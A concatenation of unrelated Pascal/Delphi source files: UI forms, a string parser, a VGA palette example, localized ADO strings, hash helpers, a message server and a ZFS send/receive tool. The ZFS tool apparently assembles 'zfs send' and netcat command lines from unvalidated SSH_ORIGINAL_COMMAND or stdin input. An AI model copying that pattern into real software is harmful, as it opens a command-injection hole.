unit UV_SheetPrint_Sort; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, cxLookAndFeelPainters, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxCalendar, cxContainer, cxEdit, cxLabel, cxControls, cxGroupBox, StdCtrls, cxButtons, Unit_ZGlobal_Consts, cxCheckBox, ZProc, ActnList, cxRadioGroup; type TFSort = class(TForm) YesBtn: TcxButton; CancelBtn: TcxButton; CheckBoxPrintDate: TcxCheckBox; RadioGroupOrder: TcxRadioGroup; ActionList: TActionList; ActionYes: TAction; ActionCancel: TAction; procedure FormCreate(Sender: TObject); procedure ActionYesExecute(Sender: TObject); procedure ActionCancelExecute(Sender: TObject); private { Private declarations } public { Public declarations } end; implementation {$R *.dfm} procedure TFSort.FormCreate(Sender: TObject); var PLanguageIndex:Byte; begin PLanguageIndex:=LanguageIndex; Caption:=Options_Text[PLanguageIndex]; YesBtn.Caption := PrintBtn_Caption[PLanguageIndex]; CancelBtn.Caption := ExitBtn_Caption[PLanguageIndex]; YesBtn.Hint := YesBtn.Caption; CancelBtn.Hint := CancelBtn.Caption; CheckBoxPrintDate.Properties.Caption := NonDate_Caption[PLanguageIndex]; RadioGroupOrder.Caption := Order_Text[PLanguageIndex]; RadioGroupOrder.Properties.Items[0].Caption:= Tn_Text[PLanguageIndex]; RadioGroupOrder.Properties.Items[1].Caption:= FIO_Text[PLanguageIndex]; end; procedure TFSort.ActionYesExecute(Sender: TObject); begin ModalResult:=mrYes; end; procedure TFSort.ActionCancelExecute(Sender: TObject); begin ModalResult:=mrCancel; end; end.
unit parseHelper; { This unit implements parsing function. } interface uses Types, Classes, SysUtils; procedure ExtractStringsEx(Separators: TSysCharSet; Ignore: TSysCharSet; Content: string; var Strings: TStrings); implementation //////////////////////////////////////////////////////////////////////////////// // Semicolon-separated-string parsing. // This function is used to parse TCP incoming data. // Example input: "ahoj;ja;jsem;{Honza;Horazek}" // Example result: ["ahoj", "ja", "jsem", "Honza;Horacek"] procedure ExtractStringsEx(Separators: TSysCharSet; Ignore: TSysCharSet; Content: string; var Strings: TStrings); var i: word; s: string; plain_cnt:Integer; begin s := ''; plain_cnt := 0; if (Length(Content) = 0) then Exit(); for i := 1 to Length(Content) do begin if (Content[i] = '{') then begin if (plain_cnt > 0) then s := s + Content[i]; Inc(plain_cnt); end else if ((Content[i] = '}') and (plain_cnt > 0)) then begin Dec(plain_cnt); if (plain_cnt > 0) then s := s + Content[i]; end else begin if ((CharInSet(Content[i], Separators)) and (plain_cnt = 0)) then begin Strings.Add(s); s := ''; end else if (not CharInSet(Content[i], Ignore) or (plain_cnt > 0)) then s := s + Content[i]; end;// else Content[i] end; if (s <> '') then Strings.Add(s); end; end.
(* Category: SWAG Title: GRAPHICS ROUTINES Original name: 0179.PAS Description: VGA - Borland Palette Explained Author: RANDALL ELTON DING Date: 05-26-95 23:23 *) (* From: randyd@alpha2.csd.uwm.edu (Randall Elton Ding) >the 'Help' doc says I should be able to change >the RGB settings of any of the 16 colors using >SetRGBPalette, but it only seems to work for colors 0 to 6. > >Can someone give me some real Help please? > >Extremely annoyed -- Jeoff The docs for SetRGBPalette are very confusing. The ColorNum variable is not the first 16 palette entries. Borland's 16 color Palette is mapped into the VGA 256 color Palette. The below constant ColorMap defines the mapping. const ColorMap : array[0..15] of word = {256 to 16 color palette mapping} (0, 1, 2, 3, 4, 5, 20, 7, 56, 57, 58, 59, 60, 61, 62, 63); For example: The 15th color in Borland's Palette is really the 63th color in the VGA Palette. I reason this was done was to have the standard 16 colors without having to modify the default VGA palette. Here is a sample program that changes the Palette for VGA mode. It draws color bars for the 16 colors, then changes the Palette to gray shades. Press any key between changes and to exit the program. Enjoy. *) { Randy. randyd@alpha2.csd.uwm.edu finger for 1024 bit pgp2.6 public key key fingerprint 6D A1 28 15 42 BE 9B 6C C0 1C 7E 88 A6 1E 3A B8 } program palettechange; uses wincrt, graph; const ColorMap : array[0..15] of word = {256 to 16 palette mapping} (0, 1, 2, 3, 4, 5, 20, 7, 56, 57, 58, 59, 60, 61, 62, 63); var graphdriver, graphmode, mx, my, bx, i : integer; begin graphdriver:= vga; graphmode:= vgamed; initgraph(graphdriver, graphmode, 'e:\bp\bgi'); {!!! change accordingly !!!} if graphresult = 0 then begin mx:= getmaxx; my:= getmaxy; bx:= (mx + 1) div 16; for I:= 0 to 15 do begin SetFillStyle(SolidFill, i); bar( I * bx, 0, (I * bx) + bx, my); end; repeat until keypressed; readkey; for I:= 0 to 15 do setrgbpalette(ColorMap[i], i * 4, i * 4, i * 4); repeat until keypressed; readkey; closegraph; end end.
{*******************************************************} { } { Borland Delphi Visual Component Library } { } { Copyright (c) 1999 Inprise Corporation } { } {*******************************************************} unit ADOConst; interface resourcestring SInvalidEnumValue = 'Valor Enum Inválido'; SMissingConnection = 'Faltando Connection ou ConnectionString'; SNoDetailFilter = 'Propriedade Filter não pode ser usada em uma tabela de detalhes'; SBookmarksRequired = 'Dataset não suporta bookmarks, no qual são requeridos para controle de dados com múltiplos registros'; SMissingCommandText = 'Faltando propriedade %s'; SNoResultSet = 'CommandText não retorna um result set'; SADOCreateError = 'Erro criando objeto. Favor verificar se o Microsoft Data Access Components 2.1 (ou superior) foi instalado adequadamente'; SEventsNotSupported = 'Eventos não são suportados com os cursores do lado TableDirect do servidor'; SUsupportedFieldType = 'Não suportado tipo de campo (%s) em campo %s'; SNoMatchingADOType = 'Nenhum tipo combinando dos dados do ADO para %s'; SConnectionRequired = 'Um componente de conexão é requerido para ExecuteOptions assíncrono'; SCantRequery = 'Não pode executar um Requery depois que a conexão mudou '; SNoFilterOptions = 'FilterOptions não é suportado'; SRecordsetNotOpen = 'Recordset não está aberto'; sNameAttr = 'Nome'; sValueAttr = 'Valor'; implementation end.
unit CatCryptSyno; { Catarinka Crypto Utils library This uses functions from Synopse's Syncrypt library Copyright (c) 2020 Felipe Daragon License: 3-clause BSD See https://github.com/felipedaragon/catarinka/ for details } interface {$I Catarinka.inc} uses {$IFDEF DXE2_OR_UP} {$IFDEF USECROSSVCL} WinAPI.Windows, {$ENDIF} System.Classes, System.SysUtils; {$ELSE} Classes, SysUtils; {$ENDIF} function RandomPassword(const len:integer):string; function RandomKey:string; function SHA256(const s:string):string; function SHA384(const s:string):string; function SHA512(const s:string):string; implementation uses SynCrypto, CatStrings; function SHA512(const s:string):string; begin {$IFDEF DXE2_OR_UP} result := string(SynCrypto.SHA512(rawbytestring(s))); {$ELSE} result := string(SynCrypto.SHA512(s)); {$ENDIF} end; function SHA384(const s:string):string; begin {$IFDEF DXE2_OR_UP} result := string(SynCrypto.SHA384(rawbytestring(s))); {$ELSE} result := string(SynCrypto.SHA384(s)); {$ENDIF} end; function SHA256(const s:string):string; begin {$IFDEF DXE2_OR_UP} result := string(SynCrypto.SHA256(rawbytestring(s))); {$ELSE} result := string(SynCrypto.SHA256(s)); {$ENDIF} end; function RandomPassword(const len:integer):string; var p:TAESPRNG; begin p := TAESPRNG.Create; result := string(p.RandomPassword(len)); p.Free; end; function RandomKey:string; var p:TAESPRNG; begin p := TAESPRNG.Create; result := StrToHex(string(p.RandomPassword(32))); p.Free; end; // ------------------------------------------------------------------------// end.
program foscmd; { (§LIC) (c) Autor,Copyright Dipl.Ing.- Helmut Hartl, Dipl.Ing.- Franz Schober, Dipl.Ing.- Christian Koch FirmOS Business Solutions GmbH www.openfirmos.org New Style BSD Licence (OSI) Copyright (c) 2001-2013, FirmOS Business Solutions GmbH All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the <FirmOS Business Solutions GmbH> nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. (§LIC_END) } {$mode objfpc}{$H+} uses {$IFDEF UNIX} cthreads, {$ENDIF} Classes,Sysutils,BaseUnix,FOS_DEFAULT_IMPLEMENTATION,FOS_BASIS_TOOLS,FOS_TOOL_INTERFACES,FRE_PROCESS,iostream,fre_zfs,FRE_DB_INTERFACE, fre_db_core,FRE_SYSTEM,fre_configuration,fre_testcase,fre_dbbase; {$I fos_version_helper.inc} var mode : string; ds : string; job : string; totalsize : Int64; sshcommand : string; type { TAsyncWrite_Thread } TAsyncWrite_Thread=class(TThread) private FLock : IFOS_LOCK; FPO : TFRE_DB_JobProgress; FTE : IFOS_TE; public constructor Create (const jobid: string; const totalsize : int64); procedure ProgressCallback (const intotal, outtotal, errortotal: Int64); procedure Execute ; override; procedure TerminateNow ; end; function ZFSReceive(const dataset:string; const compressed:boolean):integer; var process : TFRE_Process; process2 : TFRE_Process; stdinstream : TIOStream; stdoutstream : TIOStream; stderrstream : TIOStream; asyncwriter : TAsyncWrite_Thread; begin stdinstream := TIOStream.Create(iosInput); stdoutstream := TIOStream.Create(iosOutPut); stderrstream := TIOStream.Create(iosError); asyncwriter := TAsyncWrite_Thread.Create(job,totalsize); try if compressed then begin process := TFRE_Process.Create(nil); process2 := TFRE_Process.Create(nil); process.PreparePipedStreamAsync('bzcat',nil); process2.PreparePipedStreamAsync('/usr/sbin/zfs',TFRE_DB_StringArray.Create('recv','-u','-F',ds)) ; process.SetStreams(StdInstream,process2.Input,stderrstream); process2.SetStreams(nil,stdoutstream,stdoutstream); process.RegisterProgressCallback(@asyncwriter.ProgressCallback); process.StartAsync; process2.StartAsync; process.WaitForAsyncExecution; process2.CloseINput; result := process2.WaitForAsyncExecution; end else begin process := TFRE_Process.Create(nil); process.PreparePipedStreamAsync('/usr/sbin/zfs',TFRE_DB_StringArray.Create('recv','-u','-F',ds)); process.SetStreams(StdInstream,StdOutStream,stdoutstream); process.RegisterProgressCallback(@asyncwriter.ProgressCallback); process.StartAsync; result := process.WaitForAsyncExecution; end; finally if assigned(process) then process.Free; if assigned(process2) then process2.Free; asyncwriter.TerminateNow; asyncwriter.WaitFor; asyncwriter.Free; end; end; function ZFSSend(const dataset:string; const compressed:boolean):integer; var process : TFRE_Process; process2 : TFRE_Process; process3 : TFRE_Process; stdinstream : TIOStream; stdoutstream : TIOStream; stderrstream : TIOStream; zfsparams : shortstring; targetds : shortstring; targetcmd : shortstring; targethost : shortstring; targetport : shortstring; asyncwriter : TAsyncWrite_Thread; begin stdinstream := TIOStream.Create(iosInput); stdoutstream := TIOStream.Create(iosOutPut); stderrstream := TIOStream.Create(iosError); targethost := GFRE_BT.SplitString(ds,'*'); targetport := GFRE_BT.SplitString(ds,'*'); zfsparams := GFRE_BT.SplitString(ds,'*'); targetds := ds; if compressed then targetcmd := 'RECEIVEBZ' else targetcmd := 'RECEIVE'; targetcmd := targetcmd+'%'+targetds+'%R'+job+'%'+inttostr(totalsize)+LineEnding; // writeln(Stderr,'SWL: ZFSPARAMS ',zfsparams); // writeln(Stderr,'SWL: targetds ',targetds); // writeln(Stderr,'SWL: targetcmd ',targetcmd); // writeln(Stderr,'SWL: targethost ',targethost); // writeln(Stderr,'SWL: targetport ',targetport); asyncwriter := TAsyncWrite_Thread.Create(job,totalsize); try if compressed then begin process := TFRE_Process.Create(nil); process2 := TFRE_Process.Create(nil); process3 := TFRE_Process.Create(nil); process.PreparePipedStreamAsync('/usr/sbin/zfs send '+zfsparams,nil); process2.PreparePipedStreamAsync('bzip2 -c',nil) ; process3.PreparePipedStreamAsync('/usr/bin/nc '+targethost+' '+targetport,nil) ; process.SetStreams(StdInstream,process2.Input,stderrstream); process2.SetStreams(nil,process3.Input,stderrstream); process3.SetStreams(nil,StdoutStream,stderrstream); process.RegisterProgressCallback(@asyncwriter.ProgressCallback); process3.Input.WriteBuffer(targetcmd[1],byte(targetcmd[0])); process.StartAsync; process2.StartAsync; process3.StartAsync; result := process.WaitForAsyncExecution; process2.CloseINput; process2.WaitForAsyncExecution; process3.CloseINput; process3.WaitForAsyncExecution; end else begin process := TFRE_Process.Create(nil); process2 := TFRE_Process.Create(nil); process3 := nil; process.PreparePipedStreamAsync('/usr/sbin/zfs send '+zfsparams,nil); process2.PreparePipedStreamAsync('/usr/bin/nc '+targethost+' '+targetport,nil) ; process.SetStreams(StdInstream,process2.Input,stderrstream); process2.SetStreams(nil,StdoutStream,stderrstream); process.RegisterProgressCallback(@asyncwriter.ProgressCallback); process2.Input.WriteBuffer(targetcmd[1],byte(targetcmd[0])); process.StartAsync; process2.StartAsync; result := process.WaitForAsyncExecution; process2.CloseINput; process2.WaitForAsyncExecution; end; finally if assigned(process) then process.Free; if assigned(process2) then process2.Free; if assigned(process3) then process3.Free; asyncwriter.TerminateNow; asyncwriter.WaitFor; asyncwriter.Free; end; end; function ZFSDSExists(const dataset:string) : integer; var proc : TFRE_Process; stdinstream : TIOStream; stdoutstream : TIOStream; stderrstream : TIOStream; begin stdinstream := TIOStream.Create(iosInput); stdoutstream := TIOStream.Create(iosOutPut); stderrstream := TIOStream.Create(iosError); proc := TFRE_Process.Create(nil); try result := proc.ExecutePipedStream('/usr/sbin/zfs',TFRE_DB_StringArray.Create('list','-H','-o','name',dataset),stdinstream,stdoutstream,stdoutstream); finally if assigned(proc) then proc.Free; end; end; function ZFSGetSnapshots(const dataset:string) : integer; var proc : TFRE_Process; stdinstream : TIOStream; stdoutstream : TIOStream; stderrstream : TIOStream; begin stdinstream := TIOStream.Create(iosInput); stdoutstream := TIOStream.Create(iosOutPut); stderrstream := TIOStream.Create(iosError); proc := TFRE_Process.Create(nil); try result := proc.ExecutePipedStream('/usr/sbin/zfs',TFRE_DB_StringArray.Create('list','-r','-H','-p','-t','snapshot','-o','name,creation,used',dataset),stdinstream,stdoutstream,stdoutstream); finally if assigned(proc) then proc.Free; end; end; function EchoTest : integer; var process : TFRE_Process; stdinstream : TIOStream; stdoutstream : TIOStream; stderrstream : TIOStream; asyncwriter : TAsyncWrite_Thread; begin stdinstream := TIOStream.Create(iosInput); stdoutstream := TIOStream.Create(iosOutPut); stderrstream := TIOStream.Create(iosError); asyncwriter := TAsyncWrite_Thread.Create(job,totalsize); process := TFRE_Process.Create(nil); try process.PreparePipedStreamAsync('cat',nil); process.SetStreams(StdInstream,StdOutStream,stderrstream); process.RegisterProgressCallback(@asyncwriter.ProgressCallback); process.StartAsync; result := process.WaitForAsyncExecution; finally process.Free; asyncwriter.TerminateNow; asyncwriter.WaitFor; asyncwriter.Free; end; end; function SendTest : integer; var process : TFRE_Process; stdinstream : TIOStream; stdoutstream : TIOStream; stderrstream : TIOStream; asyncwriter : TAsyncWrite_Thread; targetcmd : ShortString; begin stdinstream := TIOStream.Create(iosInput); stdoutstream := TIOStream.Create(iosOutPut); stderrstream := TIOStream.Create(iosError); targetcmd := 'ECHOTEST%DS%E'+job+'%'+inttostr(totalsize)+LineEnding; stdoutstream.WriteBuffer(targetcmd[1],byte(targetcmd[0])); asyncwriter := TAsyncWrite_Thread.Create(job,totalsize); process := TFRE_Process.Create(nil); try process.PreparePipedStreamAsync('cat',TFRE_DB_StringArray.Create(ds)); // send testfile process.SetStreams(StdInstream,StdOutStream,stderrstream); process.RegisterProgressCallback(@asyncwriter.ProgressCallback); process.StartAsync; result := process.WaitForAsyncExecution; finally process.Free; asyncwriter.TerminateNow; asyncwriter.WaitFor; asyncwriter.Free; end; end; procedure GetInlineParams; var inlineparams : string; stdinstream : TIOStream; c : char; begin inlineparams := ''; stdinstream := TIOStream.Create(iosInput); try while c<>LineEnding do begin c:=Char(stdinstream.ReadByte); if c<>LineEnding then inlineparams := inlineparams+c; end; finally stdinstream.Free; end; // writeln('INLINEPARAMS [',inlineparams,']'); mode := GFRE_BT.SplitString(inlineparams,'%'); ds := GFRE_BT.SplitString(inlineparams,'%'); job := GFRE_BT.SplitString(inlineparams,'%'); totalsize := StrtoInt64Def(inlineparams,0); // writeln(Stdout,'SWL INLINE:',mode,',', ds, ',', job, ',', totalsize); end; { TAsyncWrite_Thread } constructor TAsyncWrite_Thread.Create(const jobid: string; const totalsize: int64); begin GFRE_TF.Get_Lock(FLock); GFRE_TF.Get_TimedEvent(FTE); FPO := TFRE_DB_JobProgress.CreateForDB; FPO.SetJobID(jobid); FPO.SetTotalOutbytes(totalsize); inherited Create(false); end; procedure TAsyncWrite_Thread.ProgressCallback(const intotal, outtotal, errortotal: Int64); begin FLock.Acquire; try FPO.SetInbytes(intotal); FPO.SetOutbytes(outtotal); FPO.SetErrorbytes(errortotal); finally FLock.Release; end; end; procedure TAsyncWrite_Thread.Execute; var FLocalCopy : TFRE_DB_JobProgress; begin try repeat FTE.WaitFor(5000); FLock.Acquire; try FLocalCopy:=FPO.CloneToNewObject.Implementor_HC as TFRE_DB_JobProgress; if FLocalCopy.GetJobID<>'' then begin FLocalCopy.SaveToFile(cFRE_JOB_PROGRESS_DIR+DirectorySeparator+FLocalCopy.GetJobID+'.dbo'); GFRE_BT.StringToFile(cFRE_JOB_PROGRESS_DIR+DirectorySeparator+FLocalCopy.GetJobID+'.txt',FLocalCopy.DumpToString()); end else GFRE_BT.CriticalAbort('Async Job Progress Writer can not save without JOBID'); finally FLock.Release; end; if Terminated then exit; until terminated; except on e : Exception do begin GFRE_BT.CriticalAbort('Async Job Progress Writer Exception:'+E.Message); end; end; end; procedure TAsyncWrite_Thread.TerminateNow; begin Terminate; FTE.SetEvent; end; begin InitMinimal(false); fre_dbbase.Register_DB_Extensions; fre_testcase.Register_DB_Extensions; GFRE_DB.Initialize_Extension_ObjectsBuild; Initialize_Read_FRE_CFG_Parameter; job := '0'; totalsize := 0; sshcommand := GetEnvironmentVariable('SSH_ORIGINAL_COMMAND'); if length(sshcommand)>0 then begin GFRE_BT.SplitString(sshcommand,' '); mode := GFRE_BT.SplitString(sshcommand,' '); ds := sshcommand; end else begin if Paramcount>=2 then begin mode := uppercase(ParamStr(1)); ds := ParamStr(2); if ParamCount>=3 then job := ParamStr(3); if ParamCount=4 then totalsize := StrtoInt64Def(ParamStr(4),0); end else begin GetInlineParams; end; end; // writeln('SWL: MODE [',mode,']'); case mode of 'RECEIVE': begin halt(ZFSReceive(ds,false)); end; 'RECEIVEBZ':begin halt(ZFSReceive(ds,true)); end; 'DSEXISTS':begin halt(ZFSDSExists(ds)); end; 'GETSNAPSHOTS':begin halt(ZFSGetSnapshots(ds)); end; 'ECHOTEST': begin halt(EchoTest); end; 'SENDTEST': begin // ./foscmd SENDTEST /Users/schramml/Downloads/x.zip JOB1 100000 | ./foscmd > testdata3 halt(SendTest); end; 'SEND': begin // ./foscmd SEND "rpool/downloads@test1*drsdisk/drssnapshots/test2" JOB1 1000000 | nc 127.0.0.1 44010 halt(ZFSSend(ds,false)); end; 'SENDBZ': begin halt(ZFSSend(ds,true)); end; else begin writeln(GFOS_VHELP_GET_VERSION_STRING); writeln('Usage: foscmd RECEIVE | RECEIVEBZ | SEND | SENDBZ | DSEXISTS | ECHOTEST | SENDTEST | GETSNAPSHOTS <dataset> <jobid> <totalsize>'); halt(99); end; end; end.
unit uPoint; interface { For serialization } type PointRecord = record x, y: real; end; type PointRecordList = Array of PointRecord; { Provides containers for points } type Point = class(TObject) x, y: real; constructor Create(x, y: real); end; type PointList = Array of Point; function pToClass(r: PointRecord): Point; function pToRecord(p: Point): PointRecord; function pCopy(p: Point): Point; implementation // Point constructor Point.Create(x, y: real); begin self.x := x; self.y := y; end; function pToRecord(p: Point): PointRecord; var r: PointRecord; begin r.x := p.x; r.y := p.y; pToRecord := r; end; function pToClass(r: PointRecord): Point; begin pToClass := Point.Create(r.x, r.y); end; function pCopy(p: Point): Point; begin pCopy := Point.Create(p.x, p.y); end; end.
unit frm_MsgServer; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Menus, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.ComCtrls, Net.CrossSocket.Base, HCSocket, emr_DataBase; type TfrmMsgServer = class(TForm) pgc: TPageControl; tsState: TTabSheet; ts2: TTabSheet; pnl1: TPanel; chkLog: TCheckBox; btnClear: TButton; mmoLog: TMemo; mmMain: TMainMenu; mniN1: TMenuItem; mniStart: TMenuItem; mniStop: TMenuItem; procedure FormCreate(Sender: TObject); procedure mniStartClick(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure mniStopClick(Sender: TObject); private { Private declarations } FMsgServer: IHCRSocket; FLogLocker: TObject; FDB: TDataBase; /// <summary> 重新设置服务器 </summary> procedure ReCreateServer; procedure RefreshUIState; procedure DoLog(const ALog: string); procedure DoServerConnected(Sender: TObject; AConnection: ICrossConnection); procedure DoServerDisconnected(Sender: TObject; AConnection: ICrossConnection); procedure DoServerReceiveData(const AConnection: ICrossConnection; const AStream: TBytesStream); procedure DoServerError(const AError: string); public { Public declarations } end; var frmMsgServer: TfrmMsgServer; implementation {$R *.dfm} procedure TfrmMsgServer.DoLog(const ALog: string); begin if chkLog.Checked then begin System.MonitorEnter(FLogLocker); try mmoLog.Lines.Add(sLineBreak + '==============' + FormatDateTime('YYYY-MM-DD HH:mm:ss', Now) + '==============' + sLineBreak + ALog); finally System.MonitorExit(FLogLocker); end; end; end; procedure TfrmMsgServer.DoServerConnected(Sender: TObject; AConnection: ICrossConnection); begin //sfLogger.logMessage('(ScreenServer)有Client连接成功'); end; procedure TfrmMsgServer.DoServerDisconnected(Sender: TObject; AConnection: ICrossConnection); begin //sfLogger.logMessage('(SC)断开'); end; procedure TfrmMsgServer.DoServerError(const AError: string); begin //sfLogger.logMessage('(SS)错误:' + AError); end; procedure TfrmMsgServer.DoServerReceiveData(const AConnection: ICrossConnection; const AStream: TBytesStream); begin // AStream.ReadBuffer(vCMD, 1); end; procedure TfrmMsgServer.FormCreate(Sender: TObject); begin FLogLocker := TObject.Create; FMsgServer := THCRServer.Create; FMsgServer.Port := 12820; FMsgServer.OnConnected := DoServerConnected; FMsgServer.OnDisconnected := DoServerDisconnected; FMsgServer.OnReceiveData := DoServerReceiveData; FMsgServer.OnError := DoServerError; FDB := TDataBase.Create(nil); end; procedure TfrmMsgServer.FormDestroy(Sender: TObject); begin FMsgServer.Active := False; FreeAndNil(FDB); FreeAndNil(FLogLocker); end; procedure TfrmMsgServer.mniStartClick(Sender: TObject); begin try ReCreateServer; // 设置服务器 pgc.ActivePageIndex := 1; // 切换到监控页,否则客户端连接后界面不能切换bug FMsgServer.Active := true; //if FAgentQueueThread.Suspended then // FAgentQueueThread.Suspended := False; RefreshUIState; except on E: Exception do begin Caption := '启动失败:' + E.Message; MessageDlg(E.Message, mtWarning, [mbOK], 0); end; end; end; procedure TfrmMsgServer.mniStopClick(Sender: TObject); begin FMsgServer.Active := False; RefreshUIState; end; procedure TfrmMsgServer.ReCreateServer; begin if not FDB.Connected then begin FDB.DBType := dbSqlServer; //FDB.Server := BLLServerParams.DataBaseServer; //FDB.DBName := BLLServerParams.DataBaseName; //FDB.Username := BLLServerParams.DataBaseUsername; //FDB.Password := BLLServerParams.DataBasePassword; //FDB.Connect; end; end; procedure TfrmMsgServer.RefreshUIState; begin mniStart.Enabled := not FMsgServer.Active; if FMsgServer.Active then Caption := 'emr消息服务端[运行]' + FMsgServer.Host + ' 端口:' + IntToStr(FMsgServer.Port) else Caption := 'emr消息服务端[停止]'; mniStop.Enabled := FMsgServer.Active; end; end.
unit frm_SearchFolders; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, EasyTaskPanelForm, StdCtrls, MPCommonObjects, EasyListview, ExtCtrls, ComCtrls, ShellCtrls, Mask, JvExMask, JvToolEdit, Spin, JvListView, JvExComCtrls; type TfrmSearchFolders = class(TEasyTaskPanelForm) lv: TJvListView; Panel2: TPanel; Panel1: TPanel; procedure FormDestroy(Sender: TObject); procedure FormCreate(Sender: TObject); procedure lvAdvancedCustomDrawSubItem(Sender: TCustomListView; Item: TListItem; SubItem: Integer; State: TCustomDrawState; Stage: TCustomDrawStage; var DefaultDraw: Boolean); procedure lvKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure lvMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure lvDeletion(Sender: TObject; Item: TListItem); procedure lvInsert(Sender: TObject; Item: TListItem); procedure lvInfoTip(Sender: TObject; Item: TListItem; var InfoTip: String); private procedure lvEditKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure edtDestroy(Sender: TObject); procedure lvEditRow; procedure RefreshLV; public edt: TJvDirectoryEdit; end; var frmSearchFolders: TfrmSearchFolders; implementation uses frm_Main; {$R *.dfm} procedure TfrmSearchFolders.lvEditRow; var item: TListItem; begin item := lv.Selected; if Item = nil then Exit; if not Assigned(edt) then edt := TJvDirectoryEdit.Create(lv); edt.Visible := False; edt.Parent := lv; edt.Top := item.Top; edt.Text := lv.Selected.SubItems[0]; if Trim(edt.Text) = CEditPrompt then edt.Text := ''; edt.Left := lv.Columns[0].Width; edt.Width := lv.Columns[1].Width; edt.Height := 18; edt.Show; edt.SetFocus; edt.OnKeyDown := lvEditKeyDown; edt.OnExit := edtDestroy; end; procedure TfrmSearchFolders.lvEditKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key = VK_Return then lv.SetFocus; if Key = VK_ESCAPE then begin if Trim(edt.Text) <> CEditPrompt then edt.Text := lv.Selected.SubItems[0]; lv.SetFocus; end; if (Key = VK_UP) or (Key = VK_DOWN) then lv.SetFocus; if Key = VK_UP then if lv.ItemIndex > 0 then lv.ItemIndex := lv.ItemIndex - 1; if Key = VK_DOWN then if lv.ItemIndex < lv.Items.Count - 1 then lv.ItemIndex := lv.ItemIndex + 1; if (Key = VK_UP) or (Key = VK_DOWN) then if lv.Selected <> nil then lv.Selected .Focused := True; end; procedure TfrmSearchFolders.edtDestroy(Sender: TObject); begin if lv.Selected = nil then Exit; if Trim(edt.Text) = '' then edt.Text := CEditPrompt else begin if lv.Selected.SubItems[0] = CEditPrompt then lv.Selected.Checked := True; lv.Selected.SubItems[0] := edt.Text; end; edt.Hide; if (Trim(edt.Text) <> '') and (Trim(edt.Text) <> CEditPrompt) then if lv.Selected.Index = 0 then lv.Items.Insert(0).SubItems.Add(CEditPrompt) else else if lv.Selected.Index > 0 then lv.Selected.Destroy; end; procedure TfrmSearchFolders.FormDestroy(Sender: TObject); begin if Assigned(edt) then FreeAndNil(edt); end; procedure TfrmSearchFolders.FormCreate(Sender: TObject); begin frmSearchFolders := Self; lv.Items.Add.SubItems.Add(CEditPrompt); end; procedure TfrmSearchFolders.lvAdvancedCustomDrawSubItem( Sender: TCustomListView; Item: TListItem; SubItem: Integer; State: TCustomDrawState; Stage: TCustomDrawStage; var DefaultDraw: Boolean); begin try DefaultDraw := True; if (SubItem = 0) and (Item.SubItems.Count > 0) then if Item.SubItems[0] = CEditPrompt then DefaultDraw := False; if Item.SubItems.Count > 0 then if Item.SubItems[0] = CEditPrompt then Sender.Canvas.Font.Color := clGray else Sender.Canvas.Font.Color := clWindowText; if (SubItem = 2) and (Item.SubItems.Count > 0) then if Item.SubItems[0] <> CEditPrompt then begin if Item.ImageIndex = 0 then Sender.Canvas.Draw(lv.Columns[0].Width + lv.Columns[1].Width, Item.Top, frmMain.imgYes.Picture.Bitmap) else Sender.Canvas.Draw(lv.Columns[0].Width + lv.Columns[1].Width, Item.Top, frmMain.imgNo.Picture.Bitmap); DefaultDraw := False; end; except end; end; procedure TfrmSearchFolders.lvKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin if Key = VK_RETURN then frmMain.btnSearch.Click else if (Key = VK_DELETE) and (lv.Selected <> nil) then if lv.Selected.Index > 0 then lv.Selected.Delete else else if Key = VK_ESCAPE then frmMain.Close else lvEditRow; end; procedure TfrmSearchFolders.lvMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var item: TListItem; begin if Button <> mbLeft then Exit; item := lv.GetItemAt(X, Y); if item = nil then Exit; if X > lv.Columns[0].Width + lv.Columns[1].WidthType then begin if item.ImageIndex = 1 then item.ImageIndex := 0 else item.ImageIndex := 1; end else if X > lv.Columns[0].Width then lvEditRow; end; procedure TfrmSearchFolders.RefreshLV; begin lv.Columns[1].Width := lv.ClientWidth - lv.Columns[0].Width - lv.Columns[2].Width;; lv.Repaint; end; procedure TfrmSearchFolders.lvDeletion(Sender: TObject; Item: TListItem); begin RefreshLV; end; procedure TfrmSearchFolders.lvInsert(Sender: TObject; Item: TListItem); begin RefreshLV; end; procedure TfrmSearchFolders.lvInfoTip(Sender: TObject; Item: TListItem; var InfoTip: String); begin if Item = nil then Exit; if Item.ImageIndex = 0 then InfoTip := 'Uwzględnij lokalizację "' else 